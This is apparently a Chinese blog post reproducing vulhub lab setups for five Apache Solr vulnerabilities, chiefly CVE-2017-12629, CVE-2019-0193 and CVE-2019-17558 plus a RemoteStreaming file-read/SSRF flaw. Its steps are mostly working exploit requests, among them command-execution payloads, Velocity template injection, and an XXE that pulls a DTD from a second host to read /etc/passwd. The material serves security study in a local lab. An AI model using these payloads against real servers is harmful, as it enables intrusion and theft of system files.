0
点赞
收藏
分享

微信扫一扫

vulhub漏洞复现64_Solr

茗越 2022-02-12 阅读 47

一、 CVE-2017-12629Apache Solr 远程命令执行漏洞

漏洞详情

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:[XML实体扩展漏洞(XXE)](https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

本环境测试RCE漏洞。

漏洞原理与分析可以参考:

 - https://www.exploit-db.com/exploits/43009/

 - https://paper.seebug.org/425/

漏洞环境

靶场:192.168.4.10_ubuntu

#docker-compose up -d

命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

漏洞复现

1. 首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

```

POST /solr/demo/config HTTP/1.1

Host: your-ip

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

```

 

2. 然后进行update操作,触发刚才添加的listener:

```

POST /solr/demo/update HTTP/1.1

Host: your-ip

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 15

[{"id":"test"}]

```

 执行`docker-compose exec solr bash`进入容器,可见`/tmp/success`已成功创建:

 

二、 CVE-2017-12629_Apache solr XML 实体注入漏洞

本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。

环境搭建

#docker-compose up -d

命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

漏洞复现

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):

```

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1

Host: your-ip:8983

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

```

可接受到Java发来的请求:

漏洞利用

利用Error Based XXE读取文件:

1. 创建恶意dtd文件poc.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

 2. 在poc.tdt路径下启一个http服务

 3. 发送如下数据读取/etc/passwd内容

http://192.168.4.10:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.4.29%2fpoc.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

 

三、 CVE-2019-0193_Apache Solr 远程命令执行漏洞

漏洞原理与分析可以参考:

- https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA

- Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析

漏洞详情

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

本环境测试RCE漏洞。

漏洞环境

#docker-compose up -d

#docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

 

漏洞复现

1. 首先打开刚刚创建好的`test`核心,选择Dataimport功能并选择debug模式,填入以下POC:

```

<dataConfig>

  <dataSource type="URLDataSource"/>

  <script><![CDATA[

          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");

          }

  ]]></script>

  <document>

    <entity name="stackoverflow"

            url="https://stackoverflow.com/feeds/tag/solr"

            processor="XPathEntityProcessor"

            forEach="/feed"

            transformer="script:poc" />

  </document>

</dataConfig>

```

 

点击`Execute with this Confuguration`

2. 发送以下请求包:

```

POST /solr/test/dataimport?_=1572685207202&indent=on&wt=json HTTP/1.1

Host: 192.168.4.10:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 681

Connection: close

Referer: http://192.168.4.10:8983/solr/

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

```

执行`docker-compose exec solr ls /tmp`,可见`/tmp/success`已成功创建:

 

四、 CVE-2019-17558_ Apache Solr Velocity 注入远程命令执行漏洞

漏洞详情

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

具体漏洞原理和POC可以参考:

- https://nvd.nist.gov/vuln/detail/CVE-2019-17558

- https://issues.apache.org/jira/browse/SOLR-13971

- https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133

- https://github.com/jas502n/solr_rce

漏洞环境

执行如下命令启动一个Apache Solr 8.2.0服务器:

#docker-compose up -d

服务启动后,访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

 

漏洞复现

默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

#http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

 Vulhub里唯一的核心是`demo`:

通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

```

POST /solr/demo/config HTTP/1.1

Host: solr:8983

Content-Type: application/json

Content-Length: 259

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

```

 之后,注入Velocity模板即可执行任意命令:

```

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

```

 

五、 Apache Solr RemoteStreaming 文件读取与SSRF漏洞

漏洞详情

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

参考链接:

- https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ

漏洞环境

执行如下命令启动solr 8.8.1:

#docker-compose up -d

环境启动后,访问`http://your-ip:8983`即可查看Apache Solr后台。

漏洞复现

1. 首先,访问`http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json`获取数据库名: 

2. 发送如下数据包,修改数据库`demo`的配置,开启`RemoteStreaming`:

```

curl -i -s -k -X $'POST' \

    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

    $'http://your-ip:8983/solr/demo/config'

```

 3.  再通过`stream.url`读取任意文件:

#'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

举报

相关推荐

0 条评论